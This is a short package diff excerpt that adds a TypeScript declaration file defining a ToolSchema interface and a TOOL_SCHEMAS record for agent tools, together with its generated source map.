|
|
92
|
+
export * from './utilities.js';
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pure tool schema definitions — name, description, and JSON Schema parameters.
|
|
3
|
+
* No execution logic, no imports beyond types.
|
|
4
|
+
*
|
|
5
|
+
* @module
|
|
6
|
+
*/
|
|
7
|
+
import type { JSONSchema } from '@molecule/api-ai';
|
|
8
|
+
/**
|
|
9
|
+
* JSON-schema-backed definition for a single agent tool.
|
|
10
|
+
*/
|
|
11
|
+
export interface ToolSchema {
|
|
12
|
+
name: string;
|
|
13
|
+
description: string;
|
|
14
|
+
parameters: JSONSchema;
|
|
15
|
+
}
|
|
16
|
+
/**
|
|
17
|
+
* Canonical tool schemas shared by the agent runtime and documentation.
|
|
18
|
+
*/
|
|
19
|
+
export declare const TOOL_SCHEMAS: Record<string, ToolSchema>;
|
|
20
|
+
//# sourceMappingURL=schemas.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"schemas.d.ts","sourceRoot":"","sources":["../src/schemas.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAA;AAElD;;GAEG;AACH,MAAM,WAAW,UAAU;IACzB,IAAI,EAAE,MAAM,CAAA;IACZ,WAAW,EAAE,MAAM,CAAA;IACnB,UAAU,EAAE,UAAU,CAAA;CACvB;AAED;;GAEG;AACH,eAAO,MAAM,YAAY,EAAE,MAAM,CAAC,MAAM,EAAE,UAAU,CA2O1C,CAAA"}
|